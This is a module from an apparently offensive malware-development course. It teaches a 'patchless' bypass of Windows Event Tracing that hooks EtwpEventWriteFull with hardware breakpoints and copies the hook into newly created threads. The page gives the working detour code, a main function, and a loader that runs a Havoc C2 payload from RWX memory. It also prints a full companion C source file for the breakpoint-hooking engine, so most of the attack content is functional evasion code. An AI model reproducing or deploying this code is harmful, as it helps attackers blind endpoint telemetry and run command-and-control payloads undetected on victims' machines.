MalDev Study
Advanced Module 16advanced7 code files

Event Tracing for Windows - Patchless ETW Bypass Via HBPs

In the previous module, the target functions were patched by employing shellcode to prevent the execution of the EtwpEventWriteFull function. While this method proves effective,...

Jump to Section (7)

Introduction

In the previous module, the target functions were patched by employing shellcode to prevent the execution of the EtwpEventWriteFull function. While this method proves effective, it also has several drawbacks. Firstly, utilizing the VirtualProtect WinAPI to enable RWX sections can be risky, particularly when facing EDRs, as RWX memory regions are generally considered an IoC and will get the implementation quickly flagged. Secondly, the shellcode inserted at the beginning of the target function is susceptible to detection by memory scanners, potentially resulting in it being reported as an attempt to obstruct ETW's functionalities.

To address these issues, this module utilizes hooks EtwpEventWriteFull using hardware breakpoints to implement a solution that eliminates the necessity of allocating an RWX memory section.

Note that this module heavily relies on hardware breakpoint functions & macros created in Utilizing Hardware Breakpoints For Hooking 1 and Utilizing Hardware Breakpoints For Hooking 2. Consider reviewing these modules before advancing to this module.

EtwpEventWriteFull's Detour Function

The function that will replace the EtwpEventWriteFull function should perform the following tasks:

  • Set the return value as ERROR_SUCCESS error code. This can be achieved using the RETURN_VALUE macro, which sets the RAX register to a specified value, in this case, 0.
  • Use the BLOCK_REAL function to prevent the execution of the original EtwpEventWriteFull function as demonstrated in the Utilizing Hardware Breakpoints For Hooking 1 module. The BLOCK_REAL function will update the instruction pointer (RIP) register to point to a ret instruction, execution is subsequently returned to the caller, which in this case is the function that called EtwpEventWriteFull.

EtwpEventWriteFullDetour Function

The EtwpEventWriteFullDetour function is shown below, which makes use of RETURN_VALUE, BLOCK_REAL, and CONTINUE_EXECUTION.

CPP
VOID EtwpEventWriteFullDetour(PCONTEXT Ctx) {

    RETURN_VALUE(Ctx, (ULONG)0);
    BLOCK_REAL(Ctx);

    CONTINUE_EXECUTION(Ctx);
}

Hooking EtwpEventWriteFull In Newly Spawned Threads

Considering the possibility of events being written to the tracing session from other threads, which might be created later during the execution of the implementation, it is advisable to replicate the EtwpEventWriteFull hook in such newly spawned threads. As demonstrated in the Utilizing Hardware Breakpoints For Hooking 2 module, the process of duplicating hooks into future threads is accomplished using the InstallHooksOnNewThreads function. This function should be inserted in the main function as below:

CSHARP
int main() {
    ...
    ...
    // Install the same 'ALL_THREADS' hooks on new threads created in the future - using the Dr1 register
    if (!InstallHooksOnNewThreads(Dr1))
        return -1;
    ...
    ...
}

The Main Function

Based on what was discussed in this module, the main function of the implementation is shown below. The FetchEtwpEventWriteFull function is responsible for retrieving the address of the private EtwpEventWriteFull function, which was demonstrated in the previous module.

Next, the InstallHardwareBreakingPntHook hooking function is used. The ALL_THREADS flag should be passed to the function to install the hook into all of the running threads, which ensures the implementation contains no blind spots. Using the ALL_THREADS flag and hooking newly spawned flags with InstallHooksOnNewThreads effectively prevents any thread from calling the original unhooked EtwpEventWriteFull function.

CPP
int main() {

    PVOID pEtwpEventWriteFull = FetchEtwpEventWriteFull();
    if (!pEtwpEventWriteFull)
        return -1;

    // Initialize
    if (!InitHardwareBreakpointHooking())
        return -1;

    // Hook 'pEtwpEventWriteFull' to call 'EtwpEventWriteFullDetour' instead - using the Dr0 register
    if (!InstallHardwareBreakingPntHook(pEtwpEventWriteFull, Dr0, EtwpEventWriteFullDetour, ALL_THREADS))
        return -1;

    // Install the same 'ALL_THREADS' hooks on new threads created in the future - using the Dr1 register
    if (!InstallHooksOnNewThreads(Dr1))
        return -1;

    // Clean up
    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    if (!CleapUpHardwareBreakpointHooking())
        return -1;

    return 0;
}

Demo

Displayed in the image below are the values of the Dr0 and Dr1 registers. Recall that the Dr0-3 registers are used for constructing hardware breakpoints. In this case, the Dr0 register stores the address of the EtwpEventWriteFull function, whereas the Dr1 register holds the address of the NtCreateThreadEx syscall, which is used for transferring the hooks into newly spawned threads.

Event Tracing for Windows - Patchless ETW Bypass Via HBPs figure

Video

Like the previous module, the video demo will again show the result of running this module's ETW evasion implementation against the DotNetEtwConsumer tool. The implementation uses InjectShellcodeFileLocally which will read and execute demon.bin in the local process memory.

The demon.bin file is a payload file generated using the Havoc C&C framework. Upon execution, it will open a session that will be used to execute a .NET assembly. The .NET assembly's execution will either be logged by the DotNetEtwConsumer tool, highlighting the technique's failure or success in bypassing ETW.

The .NET assembly executed in the demo is SharpHound which is an open-source tool used for discovering misconfigurations in Active Directory.

InjectShellcodeFileLocally is shown below and requires one argument, wsShellFileName, which is the payload file to read (demo.bin).

CPP
BOOL InjectShellcodeFileLocally(IN LPCWSTR wsShellFileName) {

    HANDLE  hFile                   = INVALID_HANDLE_VALUE;
    DWORD   dwBufferSize            = NULL,
            dwNumberOfBytesRead      = NULL,
            dwOldProtection         = NULL;
    PBYTE   pBufferData             = NULL;

    BOOL    bResults                = FALSE;

    if ((hFile = CreateFileW(wsShellFileName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileW Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    if ((dwBufferSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    if ((pBufferData = VirtualAlloc(NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    if (!ReadFile(hFile, pBufferData, dwBufferSize, &dwNumberOfBytesRead, NULL) || dwNumberOfBytesRead != dwBufferSize) {
        printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
        printf("[!] Bytes Read: %d of %d\n", dwNumberOfBytesRead, dwBufferSize);
        goto _EndOfFunc;
    }

    if (!VirtualProtect(pBufferData, dwBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        goto _EndOfFunc;
    }

    printf("\t> Running Payload Via Thread ");
    DWORD   dwThreadId  = 0x00;
    HANDLE  hThread     = CreateThread(NULL, NULL, pBufferData, NULL, NULL, &dwThreadId);
    printf("[ %d ] ... \n", dwThreadId);
    if (hThread) {
        WaitForSingleObject(hThread, INFINITE);
    }

    bResults = TRUE;

_EndOfFunc:
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    return bResults;
}

The demo is shown below.

Event Tracing for Windows - Patchless ETW Bypass Via HBPs figure
Diagram

Companion Project & Source Code

7 readable source/config files extracted directly from the archive

Download Module 16 - EtwBypassViaHBP.zip
20.8 KB
#include <Windows.h>
#include <tlhelp32.h>

#include "Structs.h"
#include "HardwareBreaking.h"

//---------------------------------------------------------------------------------------------------------------------------------------------------------
//---------------------------------------------------------------------------------------------------------------------------------------------------------
// "Ret" Shellcode - Used to terminate original function execution

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char ucRet[] = { 0xC3 };

// Called in the detour function to block the execution of the original function
VOID BLOCK_REAL(IN PCONTEXT pThreadCtx) {
	pThreadCtx->Rip = (ULONG_PTR)&ucRet;
}


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//										ARGUMENT MANAGEMENT FUNCTIONS


PBYTE GetFunctionArgument(IN PCONTEXT pThreadCtx, IN DWORD dwParmIndex) {

	// The first 4 arguments in x64 are in the "RCX - RDX - R8 - R9" registers
	switch (dwParmIndex) {
	case 0x01:
		return (ULONG_PTR)pThreadCtx->Rcx;
	case 0x02:
		return (ULONG_PTR)pThreadCtx->Rdx;
	case 0x03:
		return (ULONG_PTR)pThreadCtx->R8;
	case 0x04:
		return (ULONG_PTR)pThreadCtx->R9;
	default:
		break;
	}

	// Else more arguments are pushed to the stack
	return *(ULONG_PTR*)(pThreadCtx->Rsp + (dwParmIndex * sizeof(PVOID)));
}

VOID SetFunctionArgument(IN PCONTEXT pThreadCtx, IN ULONG_PTR uValue, IN DWORD dwParmIndex) {

	// The first 4 arguments in x64 are in the "RCX - RDX - R8 - R9" registers
	switch (dwParmIndex) {
	case 0x01:
		(ULONG_PTR)pThreadCtx->Rcx = uValue; return;
	case 0x02:
		(ULONG_PTR)pThreadCtx->Rdx = uValue; return;
	case 0x03:
		(ULONG_PTR)pThreadCtx->R8 = uValue; return;
	case 0x04:
		(ULONG_PTR)pThreadCtx->R9 = uValue; return;
	default:
		break;
	}

	// Else more arguments are pushed to the stack
	*(ULONG_PTR*)(pThreadCtx->Rsp + (dwParmIndex * sizeof(PVOID))) = uValue;
}

//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//													HELPER FUNCTIONS

DWORD _GetCurrentProcessId() {
	return (DWORD)(__readgsdword(0x40));
}

DWORD _GetCurrentThreadId() {
	return (DWORD)(__readgsdword(0x48));
}

HANDLE _GetProcessHeap() {
	PPEB pPeb = (PPEB)(__readgsqword(0x60));
	return (HANDLE)pPeb->ProcessHeap;
}


unsigned long long SetDr7Bits(unsigned long long CurrentDr7Register, int StartingBitPosition, int NmbrOfBitsToModify, unsigned long long NewBitValue) {
	unsigned long long mask = (1UL << NmbrOfBitsToModify) - 1UL;
	unsigned long long NewDr7Register = (CurrentDr7Register & ~(mask << StartingBitPosition)) | (NewBitValue << StartingBitPosition);

	return NewDr7Register;
}


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//												GLOBAL VARIABLES


CRITICAL_SECTION						g_CriticalSection = { 0 };
HARDWARE_ENGINE_INIT_SETTINGS_GLOBAL	GlobalHardwareBreakpointObject = { 0 };
DESCRIPTOR_ENTRY* g_Head = NULL;


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//												PRIVATE FUNCTIONS PROTOTYPES


// Sets or Removes a hardware breakpoint									\
	* ThreadId			= Thread Identifier to hook							\
	* Address			= Harware breakpoint address (where to install)		\
	* Position			= Can be 0 -> 3, represnting Dr0-Dr3 registers		\
	* bInitializeHWBP	= Set(TRUE)/Remove(FALSE) a hardware breakpoint	
BOOL SetHardwareBreakpoint(IN DWORD ThreadId, IN PUINT_VAR_T Address, IN DRX Drx, IN BOOL bInitializeHWBP);


// VEH function that handles the hardware breakpoints exception
LONG ExceptionHandlerCallbackRoutine(IN PEXCEPTION_POINTERS ExceptionInfo);


// Used to set/remove hardware breakpoints among all running threads					\
	* Address				= Harware breakpoint address (where to install)				\
	* Position				= Can be 0 -> 3, represnting Dr0-Dr3 registers				\
	* bInitializeHWBP		= Set(TRUE)/Remove(FALSE) a hardware breakpoint				\
	* ThreadId				= Thread Identifier to hook	| 0 to hook all threads					
BOOL SnapshotInsertHardwareBreakpointHookIntoTargetThread(IN PUINT_VAR_T Address, IN DRX Drx, IN BOOL bInitializeHWBP, IN DWORD ThreadId);


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//			InitHardwareBreakpointHooking & CleapUpHardwareBreakpointHooking : PUBLIC

BOOL InitHardwareBreakpointHooking() {

	// If already initialized
	if (GlobalHardwareBreakpointObject.IsInit)
		return TRUE;

	RtlSecureZeroMemory(&GlobalHardwareBreakpointObject, sizeof(HARDWARE_ENGINE_INIT_SETTINGS_GLOBAL));
	RtlSecureZeroMemory(&g_CriticalSection, sizeof(CRITICAL_SECTION));

	// Add 'ExceptionHandlerCallbackRoutine' as the VEH handler function
	GlobalHardwareBreakpointObject.HandlerObject = AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)ExceptionHandlerCallbackRoutine);
	if (!GlobalHardwareBreakpointObject.HandlerObject)
		return FALSE;

	// Initialize critical section
	InitializeCriticalSection(&g_CriticalSection);

	GlobalHardwareBreakpointObject.IsInit = TRUE;

	return TRUE;
}


BOOL CleapUpHardwareBreakpointHooking() {

	DESCRIPTOR_ENTRY* TempObject = NULL;

	if (!GlobalHardwareBreakpointObject.IsInit)
		return TRUE;

	EnterCriticalSection(&g_CriticalSection);

	TempObject = g_Head;

	// Remove all installed breakpoints
	while (TempObject != NULL) {
		RemoveHardwareBreakingPntHook(TempObject->Address, TempObject->ThreadId);
		TempObject = TempObject->Next;
	}

	LeaveCriticalSection(&g_CriticalSection);

	// Uregister the VEH handler function
	if (GlobalHardwareBreakpointObject.HandlerObject)
		RemoveVectoredExceptionHandler(GlobalHardwareBreakpointObject.HandlerObject);

	// Delete the critical section object
	DeleteCriticalSection(&g_CriticalSection);

	GlobalHardwareBreakpointObject.IsInit = FALSE;

	return TRUE;
}


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//				ExceptionHandlerCallbackRoutine : PRIVATE
//
// Veh handler function that handles the hardware breakpoints exception
LONG ExceptionHandlerCallbackRoutine(IN PEXCEPTION_POINTERS ExceptionInfo)
{
	DESCRIPTOR_ENTRY* TempObject = { 0 };
	BOOL				bResolved = FALSE;

	// Check exception code
	if (ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP)
		goto EXIT_ROUTINE;

	EnterCriticalSection(&g_CriticalSection);

	TempObject = g_Head;

	while (TempObject != NULL) {

		// Search for the detour function pointer of the breakpoint triggered if the node is not processed yet
		if (TempObject->Address == ExceptionInfo->ContextRecord->Rip && !TempObject->Processed) {

			if (TempObject->ThreadId != 0 && TempObject->ThreadId != _GetCurrentThreadId()) {
				// Set the 'Processed' flag to avoid infinite loop: https://github.com/vxunderground/VX-API/blob/main/VX-API/ExceptHandlerCallbackRoutine.cpp#L19
				// If the 'Processed' is not added to the 'DESCRIPTOR_ENTRY' structure, the 'continue' statement can go back to the 'while' loop with the same 'TempObject' node, creating an infinte loop
				TempObject->Processed = TRUE;
				continue;
			}

			// 1. disable hw breakpoint 
			if (!SetHardwareBreakpoint(_GetCurrentThreadId(), TempObject->Address, TempObject->Drx, FALSE))
				goto EXIT_ROUTINE;

			// 2. execute the callback (detour function)
			VOID(*fnHookFunc)(PCONTEXT) = TempObject->CallbackFunction;
			fnHookFunc(ExceptionInfo->ContextRecord);

			// 3. enable the hw breakpoint again
			if (!SetHardwareBreakpoint(_GetCurrentThreadId(), TempObject->Address, TempObject->Drx, TRUE))
				goto EXIT_ROUTINE;

			// This node is processed
			TempObject->Processed = TRUE;
		}

		// Reset the 'Processed' flag after processing each node
		TempObject->Processed = FALSE;
		// Go to the next node in the linked list
		TempObject = TempObject->Next;
	}

	LeaveCriticalSection(&g_CriticalSection);

	bResolved = TRUE;

EXIT_ROUTINE:

	return (bResolved ? EXCEPTION_CONTINUE_EXECUTION : EXCEPTION_CONTINUE_SEARCH);
}



//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//					SetHardwareBreakpoint : PRIVATE
// 
// Sets or Removes a hardware breakpoint										\
	* ThreadId			= Thread Identifier to hook								\
	* Address			= Harware breakpoint address (where to install)			\
	* Drx				= Can be 0 -> 3, represnting Dr0-Dr3 registers			\
	* bInitializeHWBP	= Set(TRUE)/Remove(FALSE) a hardware breakpoint	

BOOL SetHardwareBreakpoint(IN DWORD ThreadId, IN PUINT_VAR_T Address, IN DRX Drx, IN BOOL bInitializeHWBP)
{
	CONTEXT		Context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	HANDLE		hThread = INVALID_HANDLE_VALUE;
	BOOL		bFlag = FALSE;

	// Open handle to the target thread if it is not the current thread  
	if (ThreadId != _GetCurrentThreadId()) {
		hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
		if (hThread == NULL)
			goto EXIT_ROUTINE;
	}
	else
		hThread = ((HANDLE)(LONG_PTR)-2);

	// Get local thread context
	if (!GetThreadContext(hThread, &Context))
		goto EXIT_ROUTINE;

	// If install 
	if (bInitializeHWBP) {
		// Sets the value of the Dr0-3 registers 
		(&Context.Dr0)[Drx] = Address;
		// Enable the breakpoint: Populate the G0-3 flags depending on the saved breakpoint position in the Dr0-3 registers
		Context.Dr7 = SetDr7Bits(Context.Dr7, (Drx * 2), 1, 1);
	}
	// If remove
	else {
		// If breakpoint found in the thread context
		if ((&Context.Dr0)[Drx] == Address) {
			// Remove the address of the hooked function from the thread context
			(&Context.Dr0)[Drx] = 0ull;
			// Disabling the hardware breakpoint by setting the target G0-3 flag to zero
			Context.Dr7 = SetDr7Bits(Context.Dr7, (Drx * 2), 1, 0);
		}
	}

	// Set the thread context after editing it
	if (!SetThreadContext(hThread, &Context))
		goto EXIT_ROUTINE;

	bFlag = TRUE;

EXIT_ROUTINE:

	if (hThread)
		CloseHandle(hThread);

	return bFlag;
}


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//				SnapshotInsertHardwareBreakpointHookIntoTargetThread : PRIVATE
// 
// Used to set/remove hardware breakpoints among all running threads					\
	* Address			= Harware breakpoint address (where to install)					\
	* Drx				= Can be 0 -> 3, represnting Dr0-Dr3 registers					\
	* bInitializeHWBP	= Set(TRUE)/Remove(FALSE) a hardware breakpoint					\
	* ThreadId			= Thread Identifier to hook	| 0 to hook all threads					


#define STATUS_SUCCESS              0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004

typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);


BOOL SnapshotInsertHardwareBreakpointHookIntoTargetThread(IN PUINT_VAR_T Address, IN DRX Drx, IN BOOL bInitializeHWBP, IN DWORD ThreadId)
{

	fnNtQuerySystemInformation		pNtQuerySystemInformation = NULL;
	ULONG							uReturnLen1 = NULL,
		uReturnLen2 = NULL;
	PSYSTEM_PROCESS_INFORMATION		SystemProcInfo = NULL;
	PVOID							pValueToFree = NULL;
	NTSTATUS						STATUS = NULL;
	BOOL							bFlag = FALSE;

	pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
	if (pNtQuerySystemInformation == NULL)
		goto _EndOfFunc;

	if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1)) != STATUS_SUCCESS && STATUS != STATUS_INFO_LENGTH_MISMATCH)
		goto _EndOfFunc;

	SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(_GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);
	if (SystemProcInfo == NULL)
		goto _EndOfFunc;

	pValueToFree = SystemProcInfo;

	if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2)) != STATUS_SUCCESS)
		goto _EndOfFunc;

	while (TRUE) {


		if (SystemProcInfo->UniqueProcessId == _GetCurrentProcessId()) {

			PSYSTEM_THREAD_INFORMATION      SystemThreadInfo = (PSYSTEM_THREAD_INFORMATION)SystemProcInfo->Threads;

			for (DWORD i = 0; i < SystemProcInfo->NumberOfThreads; i++) {

				if (ThreadId != ALL_THREADS && ThreadId != SystemThreadInfo[i].ClientId.UniqueThread)
					continue;

				if (!SetHardwareBreakpoint(SystemThreadInfo[i].ClientId.UniqueThread, Address, Drx, bInitializeHWBP))
					goto _EndOfFunc;
			}

			break;
		}

		if (!SystemProcInfo->NextEntryOffset)
			break;

		SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo + SystemProcInfo->NextEntryOffset);
	}

	bFlag = TRUE;

_EndOfFunc:
	if (pValueToFree)
		HeapFree(_GetProcessHeap(), 0, pValueToFree);
	return bFlag;
}


//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------------------
//				InstallHardwareBreakingPntHook & RemoveHardwareBreakingPntHook : PUBLIC
//
// Install hook on a specified address														\
	* Address			= Harware breakpoint address (where to install)						\
	* Drx				= Can be Dr0 -> Dr3													\
	* CallbackRoutine	= Pointer to the detour function 									\
	* ThreadId			= Thread identifier to hook	| 'ALL_THREADS' to hook all threads

BOOL InstallHardwareBreakingPntHook(IN PUINT_VAR_T Address, IN DRX Drx, IN PVOID CallbackRoutine, IN DWORD ThreadId)
{
	DESCRIPTOR_ENTRY* NewEntry = NULL;

	NewEntry = (DESCRIPTOR_ENTRY*)HeapAlloc(_GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(DESCRIPTOR_ENTRY));
	if (NewEntry == NULL)
		return FALSE;

	EnterCriticalSection(&g_CriticalSection);

	NewEntry->Address = Address;
	NewEntry->Drx = Drx;
	NewEntry->ThreadId = ThreadId;
	NewEntry->CallbackFunction = CallbackRoutine;
	NewEntry->Next = g_Head;
	NewEntry->Previous = NULL;

	if (g_Head != NULL)
		g_Head->Previous = NewEntry;

	g_Head = NewEntry;

	LeaveCriticalSection(&g_CriticalSection);

	return SnapshotInsertHardwareBreakpointHookIntoTargetThread(Address, Drx, TRUE, ThreadId);
}


// Remove hook on a specified address														\
	* Address			= Harware breakpoint address (where to unhook)					\
	* ThreadId			= Thread identifier to unhook | 'ALL_THREADS' to remove hook from all threads
BOOL RemoveHardwareBreakingPntHook(IN PUINT_VAR_T Address, IN DWORD ThreadId)
{
	DESCRIPTOR_ENTRY* TempObject = NULL;
	enum DRX			Drx = -1;
	BOOL				bFlag = FALSE,
		Found = FALSE;

	EnterCriticalSection(&g_CriticalSection);

	TempObject = g_Head;

	while (TempObject != NULL)
	{
		if (TempObject->Address == Address && TempObject->ThreadId == ThreadId)
		{
			Found = TRUE;

			Drx = TempObject->Drx;

			if (g_Head == TempObject)
				g_Head = TempObject->Next;

			if (TempObject->Next != NULL)
				TempObject->Next->Previous = TempObject->Previous;

			if (TempObject->Previous != NULL)
				TempObject->Previous->Next = TempObject->Next;

			//if (TempObject)
			//	HeapFree(_GetProcessHeap(), HEAP_ZERO_MEMORY, TempObject);
		}

		if (TempObject)
			TempObject = TempObject->Next;
	}

	LeaveCriticalSection(&g_CriticalSection);

	if (Found)
		bFlag = SnapshotInsertHardwareBreakpointHookIntoTargetThread(Address, Drx, FALSE, ThreadId);

	return bFlag;
}



//------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------
//								IMPLEMENTATION TO HOOK NEW THREADS : PRIVATE


#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED	0x00000001

PVOID		g_pNtCreateThreadEx = NULL;


// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms687066(v=vs.85)
VOID CALLBACK TimedHookCallback(PVOID lpParameter, BOOLEAN TimerOrWaitFired) {

	// 4. Wait for NtCreateThreadEx to return a HANDLE
	HANDLE hThread = (HANDLE)(*(HANDLE*)lpParameter);
	while (!hThread) {
	}

	EnterCriticalSection(&g_CriticalSection);

	// 5. Search for hooks that should be installed on all threads, and copy them to the new thread as well
	DESCRIPTOR_ENTRY* TempObject = g_Head;
	INT					i = 0;

	while (TempObject != NULL) {

		if (TempObject->Address && TempObject->CallbackFunction && TempObject->ThreadId == ALL_THREADS) {
			// 6. Install the hooks that should be set for all threads
			InstallHardwareBreakingPntHook(TempObject->Address, TempObject->Drx, TempObject->CallbackFunction, GetThreadId(hThread));
			i++;
		}

		// Used to get the first four 'ALL_THREADS' hooks 
		if (i == 4)
			break;

		TempObject = TempObject->Next;
	}

	LeaveCriticalSection(&g_CriticalSection);

	// 7. Resume thread
	ResumeThread(hThread);
}


VOID NtCreateThreadExDetour(PCONTEXT Ctx) {

	// 0. Get the pointer to the thread handle
	PHANDLE pThread = (PHANDLE)GETPARM_1(Ctx);

	// 1. Modify the 'Flags' parameter to create the thread suspended
	ULONG uNewFalg = GETPARM_7(Ctx);
	uNewFalg = uNewFalg | THREAD_CREATE_FLAGS_CREATE_SUSPENDED;
	SETPARM_7(Ctx, uNewFalg);

	// 2. Execute the hook as a callback function
	HANDLE hTimer = INVALID_HANDLE_VALUE;
	CreateTimerQueueTimer(&hTimer, NULL, (WAITORTIMERCALLBACK)TimedHookCallback, pThread, 0, 0, 0);

	// 3. Execute the original thread
	CONTINUE_EXECUTION(Ctx);
}


//------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------
//								IMPLEMENTATION TO HOOK NEW THREADS : PUBLIC

BOOL InstallHooksOnNewThreads(IN DRX Drx) {

	// Install a hook on NtCreateThreadEx, executing the NtCreateThreadExCallback detour function
	g_pNtCreateThreadEx = (PVOID)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "NtCreateThreadEx");
	if (!g_pNtCreateThreadEx)
		return FALSE;

	return InstallHardwareBreakingPntHook(g_pNtCreateThreadEx, Drx, NtCreateThreadExDetour, ALL_THREADS);
}


BOOL RemoveHooksOnNewThreads() {
	// Remove the NtCreateThreadEx hook from all the threads
	return RemoveHardwareBreakingPntHook(g_pNtCreateThreadEx, ALL_THREADS);
}


//------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------
//------------------------------------------------------------------------------------------------------------------------------------------------------

Full Archive Manifest (8 files inside .zip)
  • EtwBypassViaHBP/EtwBypassViaHBP.sln
  • EtwBypassViaHBP/EtwBypassViaHBP/EtwBypassViaHBP.vcxproj
  • EtwBypassViaHBP/EtwBypassViaHBP/EtwBypassViaHBP.vcxproj.filters
  • EtwBypassViaHBP/EtwBypassViaHBP/EtwBypassViaHBP.vcxproj.user
  • EtwBypassViaHBP/EtwBypassViaHBP/HardwareBreaking.c
  • EtwBypassViaHBP/EtwBypassViaHBP/HardwareBreaking.h
  • EtwBypassViaHBP/EtwBypassViaHBP/Structs.h
  • EtwBypassViaHBP/EtwBypassViaHBP/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.